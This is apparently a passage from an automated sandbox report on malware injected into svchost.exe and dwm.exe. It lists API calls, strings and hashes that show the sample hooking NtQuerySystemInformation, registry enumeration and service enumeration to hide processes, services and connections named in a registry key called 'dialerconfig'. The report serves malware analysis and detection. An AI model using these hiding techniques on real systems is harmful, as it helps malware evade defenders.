Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: be8df8e1ec03d45ea558a2a3d3bbf99ec2db0f2b8a5c9b0990fe4d8467a9cadd
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 6141B373325A8086DBA0CF25E9447EA77E8F7987A4F504021EE4E877A4EBBCC541C740

Function 0000014E25ED94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000014E25ED94F0
RaiseException.KERNEL32 ref: 0000014E25ED9531

Strings

csm, xrefs: 0000014E25ED951E

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: bb5eac71964d237cb1956cfb5dc8ea3c9076102839b00be22b734880a363d7cf
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: AC116D32215B8082EBA08F15F94079977E8F788B94F185220EECE47B69DF7CC551CB00

Function 0000014E255D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014E255D737C

Strings

riptor at (, xrefs: 0000014E255D7364
ierarchy Descriptor', xrefs: 0000014E255D7381

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b5321504703d7e0147251d0ef98098a33f2915f118edd02a8ea012e53d6d95a0
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: CBE08671A81B4690DF028F62E9406D833E4EB58B64B989122995D46321FA7CD5E9C700

Function 0000014E255D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000014E255D73D8

Strings

Locator', xrefs: 0000014E255D73DD
riptor at (, xrefs: 0000014E255D73C0

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 87559b647f718a4499c20e0080e905f3e2ba32fd32d78ccb03bd9a23e031c331
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 14E08672A41B4580DF028F61E9405D873A4F758B64B989122C95D46321EA7CD5E5C300

Function 0000014E25ED1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E25ED1C2D
HeapAlloc.KERNEL32 ref: 0000014E25ED1C3B
GetProcessHeap.KERNEL32 ref: 0000014E25ED1C77
HeapFree.KERNEL32 ref: 0000014E25ED1C85

Part of subcall function 0000014E25ED152C: StrCmpIW.SHLWAPI ref: 0000014E25ED155D

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 80f4dcfa44d35f3495c169fc2734898f5281015fff2d1e20470a50a81ec8734b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 69118235612B4481EA89DB66AA04AA973E9F789FD0F185028DE4E47776DFB8C442C300

Function 0000014E25ED1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E25ED126E
HeapAlloc.KERNEL32 ref: 0000014E25ED127D
GetProcessHeap.KERNEL32 ref: 0000014E25ED1297
HeapAlloc.KERNEL32 ref: 0000014E25ED12A8

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8abaebeb9784320d361adda1798bbe6ec81508ad70680dff6d03265ff0a18030
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: D3E039B562170486EB458B62F90878A36E5FB89B26F148028890A07362DFBD8499C750

Analysis Process: dwm.exePID: 992, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95%
Signature Coverage:	0%
Total number of Nodes:	120
Total number of Limit Nodes:	16

Executed Functions

Function 00000283E1331628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000283E1331633
HeapAlloc.KERNEL32 ref: 00000283E1331642

Part of subcall function 00000283E1331268: GetProcessHeap.KERNEL32 ref: 00000283E133126E
Part of subcall function 00000283E1331268: HeapAlloc.KERNEL32 ref: 00000283E133127D
Part of subcall function 00000283E1331268: GetProcessHeap.KERNEL32 ref: 00000283E1331297
Part of subcall function 00000283E1331268: HeapAlloc.KERNEL32 ref: 00000283E13312A8

RegOpenKeyExW.ADVAPI32 ref: 00000283E13316B2
RegOpenKeyExW.ADVAPI32 ref: 00000283E13316DF
RegCloseKey.ADVAPI32 ref: 00000283E13316F9
RegOpenKeyExW.ADVAPI32 ref: 00000283E1331719
RegCloseKey.ADVAPI32 ref: 00000283E1331734
RegOpenKeyExW.ADVAPI32 ref: 00000283E1331754
RegCloseKey.ADVAPI32 ref: 00000283E133176F
RegOpenKeyExW.ADVAPI32 ref: 00000283E133178F
RegCloseKey.ADVAPI32 ref: 00000283E13317AA
RegOpenKeyExW.ADVAPI32 ref: 00000283E13317CA
RegCloseKey.ADVAPI32 ref: 00000283E13317E5
RegOpenKeyExW.ADVAPI32 ref: 00000283E1331805
RegCloseKey.ADVAPI32 ref: 00000283E1331820
RegOpenKeyExW.ADVAPI32 ref: 00000283E1331840
RegCloseKey.ADVAPI32 ref: 00000283E133185B
RegOpenKeyExW.ADVAPI32 ref: 00000283E133187B
RegCloseKey.ADVAPI32 ref: 00000283E1331896
RegCloseKey.ADVAPI32 ref: 00000283E13318A0

Part of subcall function 00000283E13312BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000283E1331319
Part of subcall function 00000283E13312BC: GetProcessHeap.KERNEL32 ref: 00000283E1331327
Part of subcall function 00000283E13312BC: HeapAlloc.KERNEL32 ref: 00000283E1331338
Part of subcall function 00000283E13312BC: RegEnumValueW.ADVAPI32 ref: 00000283E1331397
Part of subcall function 00000283E13312BC: GetProcessHeap.KERNEL32 ref: 00000283E13313DF
Part of subcall function 00000283E13312BC: HeapAlloc.KERNEL32 ref: 00000283E13313ED
Part of subcall function 00000283E13312BC: GetProcessHeap.KERNEL32 ref: 00000283E133140A
Part of subcall function 00000283E13312BC: HeapFree.KERNEL32 ref: 00000283E1331418
Part of subcall function 00000283E13312BC: lstrlenW.KERNEL32 ref: 00000283E1331421
Part of subcall function 00000283E13312BC: GetProcessHeap.KERNEL32 ref: 00000283E133142F
Part of subcall function 00000283E13312BC: HeapAlloc.KERNEL32 ref: 00000283E133143D

Strings

SOFTWARE\dialerconfig, xrefs: 00000283E1331692
paths, xrefs: 00000283E1331788
process_names, xrefs: 00000283E133174D
udp, xrefs: 00000283E1331874
startup, xrefs: 00000283E13316D5
service_names, xrefs: 00000283E13317C3
pid, xrefs: 00000283E1331712
tcp_local, xrefs: 00000283E13317FE
tcp_remote, xrefs: 00000283E1331839

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 99d9fb80965a5256ca654da3c5cc97f2988a7b63476e9cfa074b452ffc568901
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: BE71266A312E10C6EF24DF25E89869D23B4FB84F8AF049111DE5E87B29DF38C644D744

Function 00000283E1333790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000283E133379E
GetCurrentProcess.KERNEL32 ref: 00000283E13337CC
VirtualProtectEx.KERNEL32 ref: 00000283E13337EE
GetCurrentProcess.KERNEL32 ref: 00000283E1333809
VirtualProtectEx.KERNEL32 ref: 00000283E133382A

Strings

wr, xrefs: 00000283E13337FF

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 984c1a315d73a2fa0cc000173d62dc9d960dcbcea998343025011561d2ad545f
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: DE115E6E706B4182EF19DF11E40826DA6B0FB88F96F588029DEAD07B54EF3DC645C704

Function 00000283E1335B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000283E1335B6B
GetThreadContext.KERNEL32 ref: 00000283E1335CD5

Part of subcall function 00000283E1335960: GetCurrentThreadId.KERNEL32 ref: 00000283E1335964

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction ID: 78f1f085582915a6dabdfafa4d14768dcb8cbd90f7b7d7591e0479146b5480e4
Opcode Fuzzy Hash: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction Fuzzy Hash: B1D1DC7A205B8881EE75DB06E49835E77A0F788F85F148212EADD47BA9CF3CD641CB04

Function 00000283E13350D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000283E1335156

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction ID: fcf7dbc84b2bb732a49d5006560233e8ad09fdcba6292eb5727744629b562e08
Opcode Fuzzy Hash: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction Fuzzy Hash: A302297621AB8086EBA4CB45F48435EB7A0F7C4B91F148115EA9E87BA8DF7CD584CF04

Function 00000283E13339E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000283E1333A66
VirtualAlloc.KERNEL32 ref: 00000283E1333AA0

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: c2bee6870f8a95fdce1a0647da75cfe0088520f73391201c3fef78d650211b9c
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 4031642661BA8481FE38DB15E45835EE6A0FB88F85F14C625F5DD06B98DF7CD3818B08

Function 00000283E133328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000283E13332AE
PathFindFileNameW.SHLWAPI ref: 00000283E13332BD

Part of subcall function 00000283E1333844: StrCmpNIW.SHLWAPI ref: 00000283E133385C

Part of subcall function 00000283E1333790: GetModuleHandleW.KERNEL32 ref: 00000283E133379E
Part of subcall function 00000283E1333790: GetCurrentProcess.KERNEL32 ref: 00000283E13337CC
Part of subcall function 00000283E1333790: VirtualProtectEx.KERNEL32 ref: 00000283E13337EE
Part of subcall function 00000283E1333790: GetCurrentProcess.KERNEL32 ref: 00000283E1333809
Part of subcall function 00000283E1333790: VirtualProtectEx.KERNEL32 ref: 00000283E133382A

CreateThread.KERNEL32 ref: 00000283E133330B

Part of subcall function 00000283E1331D14: GetCurrentThread.KERNEL32 ref: 00000283E1331D1F

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: f7691c7dce0b83545b47d16d2bc00d6ecdea94246a09a10e2a47f28656b3d835
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 7611D678A16640C2FF6CEB60F80C35DA2A4BF44F17F58C124993682696EF7CE3448308

Function 00000283E1334DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000283E1334DF4
VirtualProtect.KERNEL32 ref: 00000283E1334E37
FlushInstructionCache.KERNEL32 ref: 00000283E1334E4C

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction ID: 276f6b8f07cccdcb0a846fb9d4de5f41d5159333e3cecb21cde4ae457aa7d496
Opcode Fuzzy Hash: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction Fuzzy Hash: A5F03A2A21AB04C0DA34DB05E44835EABA0FB88FD5F188111FADD03B69CE3CD7808B14

Function 00000283E130273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00000283E13027DB
LoadLibraryA.KERNELBASE ref: 00000283E130285E

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: b273c681c5b413b490bb73634914f29545bdaa73f11da66741501c3069a82139
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E61033AB0269087DF68CF15914872DB7E2FB54FA5F58C121DE9907788DE38DA62C700

Function 00000283E1331ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000283E1331628: GetProcessHeap.KERNEL32 ref: 00000283E1331633
Part of subcall function 00000283E1331628: HeapAlloc.KERNEL32 ref: 00000283E1331642
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E13316B2
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E13316DF
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E13316F9
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E1331719
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E1331734
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E1331754
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E133176F
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E133178F
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E13317AA
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E13317CA

Sleep.KERNEL32 ref: 00000283E1331AD7
SleepEx.KERNELBASE ref: 00000283E1331ADD

Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E13317E5
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E1331805
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E1331820
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E1331840
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E133185B
Part of subcall function 00000283E1331628: RegOpenKeyExW.ADVAPI32 ref: 00000283E133187B
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E1331896
Part of subcall function 00000283E1331628: RegCloseKey.ADVAPI32 ref: 00000283E13318A0

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b332f9cd54cd586ff58e9e96f8f221192798df3dd1e2c94591256ad953df933b
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 20312169202641C1FF5CDB26DA493AD63A4AF44FC2F0CD4218E29872D7FF24EA51C318

Non-executed Functions

Function 00000283E1332B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000283E1332BD0
lstrlenW.KERNEL32 ref: 00000283E1332E0A

Part of subcall function 00000283E133199C: OpenProcess.KERNEL32 ref: 00000283E13319C2
Part of subcall function 00000283E133199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000283E13319E0
Part of subcall function 00000283E133199C: PathFindFileNameW.SHLWAPI ref: 00000283E13319EF
Part of subcall function 00000283E133199C: lstrlenW.KERNEL32 ref: 00000283E13319FB
Part of subcall function 00000283E133199C: StrCpyW.SHLWAPI ref: 00000283E1331A0E
Part of subcall function 00000283E133199C: CloseHandle.KERNEL32 ref: 00000283E1331A1C

GetProcAddress.KERNEL32 ref: 00000283E1332BE5

Part of subcall function 00000283E133152C: StrCmpIW.SHLWAPI ref: 00000283E133155D

Part of subcall function 00000283E1333844: StrCmpNIW.SHLWAPI ref: 00000283E133385C

StrCmpNIW.SHLWAPI ref: 00000283E1332C28
lstrlenW.KERNEL32 ref: 00000283E1332D50

Strings

\Device\Nsi, xrefs: 00000283E1332C1B
ntdll.dll, xrefs: 00000283E1332BC9
NtQueryObject, xrefs: 00000283E1332BDB

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 87d8b97c2c6157f9e426f26a4b5c139f35c5d68f0badc225400b6405b738634a
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A1B19C6A212A5082EF6DCF25D4487AD63A5FF44F86F08D016EE2953BA9DF34DE80C344

Function 00000283E1337D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000283E1337DAC
RtlCaptureContext.NTDLL ref: 00000283E1337DD9
RtlLookupFunctionEntry.NTDLL ref: 00000283E1337DF3
RtlVirtualUnwind.NTDLL ref: 00000283E1337E34
IsDebuggerPresent.KERNEL32 ref: 00000283E1337E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000283E1337EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000283E1337EB4

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 2a9013a120e130c79c74374654dbdd866e7394f97230683d0a66d200399abf0f
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: F1315E76206B809AEF64DF60E8843ED7370FB84B45F44802ADA5E47B94EF38C648C714

Function 00000283E133D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000283E133D31D
RtlLookupFunctionEntry.NTDLL ref: 00000283E133D335
RtlVirtualUnwind.NTDLL ref: 00000283E133D370
IsDebuggerPresent.KERNEL32 ref: 00000283E133D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000283E133D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000283E133D3BE

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f7b8dd70cdf4769a20b8a7db427c1cc005612656eb1b847012a1810374da3386
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 8C31933A215F8096DF64CF25E84439E73A0FB89B56F544126EAAD43BA9DF38C645CB00

Function 00000283E13312BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000283E1331319
GetProcessHeap.KERNEL32 ref: 00000283E1331327
HeapAlloc.KERNEL32 ref: 00000283E1331338
RegEnumValueW.ADVAPI32 ref: 00000283E1331397

Part of subcall function 00000283E133152C: StrCmpIW.SHLWAPI ref: 00000283E133155D

GetProcessHeap.KERNEL32 ref: 00000283E13313DF
HeapAlloc.KERNEL32 ref: 00000283E13313ED
GetProcessHeap.KERNEL32 ref: 00000283E133140A
HeapFree.KERNEL32 ref: 00000283E1331418
lstrlenW.KERNEL32 ref: 00000283E1331421
GetProcessHeap.KERNEL32 ref: 00000283E133142F
HeapAlloc.KERNEL32 ref: 00000283E133143D
StrCpyW.SHLWAPI ref: 00000283E133145F
GetProcessHeap.KERNEL32 ref: 00000283E1331476
HeapFree.KERNEL32 ref: 00000283E1331484

Strings

d, xrefs: 00000283E133135A

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: f32531276f4becd4faa6bcc546cd3ff51abbeae2bc979c410821509f5f447a00
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 86515D7A215B84C6EB58CF62E44835E77B1FB88F9AF148124DA5907769DF3CC245C700

Function 00000283E1331D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000283E1331D1F

Part of subcall function 00000283E1331FD4: GetModuleHandleA.KERNEL32 ref: 00000283E1331FEC
Part of subcall function 00000283E1331FD4: GetProcAddress.KERNEL32 ref: 00000283E1331FFD

Part of subcall function 00000283E1335B30: GetCurrentThreadId.KERNEL32 ref: 00000283E1335B6B

Strings

sechost.dll, xrefs: 00000283E1331E39
NtQueryDirectoryFileEx, xrefs: 00000283E1331D9C
NtQuerySystemInformation, xrefs: 00000283E1331D45
EnumServiceGroupW, xrefs: 00000283E1331DF0
NtDeviceIoControlFile, xrefs: 00000283E1331E56
NtEnumerateKey, xrefs: 00000283E1331DB9
NtQueryDirectoryFile, xrefs: 00000283E1331D7F
NtEnumerateValueKey, xrefs: 00000283E1331DD6
ntdll.dll, xrefs: 00000283E1331D2D
NtResumeThread, xrefs: 00000283E1331D62
EnumServicesStatusExW, xrefs: 00000283E1331E11, 00000283E1331E32
advapi32.dll, xrefs: 00000283E1331DF7, 00000283E1331E18

Memory Dump Source

